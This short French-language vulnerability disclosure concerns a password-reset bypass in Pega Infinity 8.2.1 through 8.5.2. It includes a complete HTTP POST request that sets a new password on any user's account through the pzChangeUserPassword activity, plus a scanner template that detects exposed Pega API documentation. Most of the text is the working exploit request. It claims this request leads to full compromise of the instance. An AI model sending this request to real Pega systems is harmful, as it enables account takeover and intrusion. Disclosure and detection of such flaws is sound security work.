
contourner toutes les étapes du flux de réinitialisation de mot de passe
Un attaquant peut contourner toutes les étapes du flux de réinitialisation de mot de passe et réinitialiser le compte de n'importe quel utilisateur sur Pega Infinity. Cela est réalisé en (1) initiant le flux de réinitialisation de mot de passe et en saisissant l'e-mail de la victime, puis (2) en forçant la requête HTTP POST à mettre à jour le mot de passe. Un attaquant pourrait se connecter en utilisant le compte nouvellement modifié et compromettre entièrement l'instance Pega via les nombreux vecteurs d'exécution de code post-authentification acceptables (modification de pages dynamiques, templating, etc.)
POST /prweb/PRServlet/app/default/:PEGA_ID*/!STANDARD HTTP/1.1 (:PEGA_ID is a unique ID for each site, it is in this format: ZOgwf2Zk3OsEg_oG74MXXxG2bXKbv56W)
Host: redacted.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 112
Origin: https://redacted.com
DNT: 1
Connection: close
Referer: https://redacted.com/prweb/PRServlet/app/default/:PEGA_ID*/!STANDARD
Cookie: yourCookie
Upgrade-Insecure-Requests: 1
pzAuth=guest&NewPassword=Rules%401234&ConfPassword=Rules%401234&pyActivity%3DCode-Security.pzChangeUserPassword=
[email protected] / Rules@1234
Pega Infinity >= 8.2.1 Pega Infinity <= 8.5.2
Compromission totale de toute instance Pega sans connaissance préalable.


id: pega
info:
name: Pega Infinity Login
author: sshell
severity: low
requests:
- method: GET
path:
- "{{BaseURL}}/prweb/PRRestService/unauthenticatedAPI/v1/docs"
headers:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55
matchers:
- type: word
words:
- "Pega API"
Andri Wijayanti (@andridev_),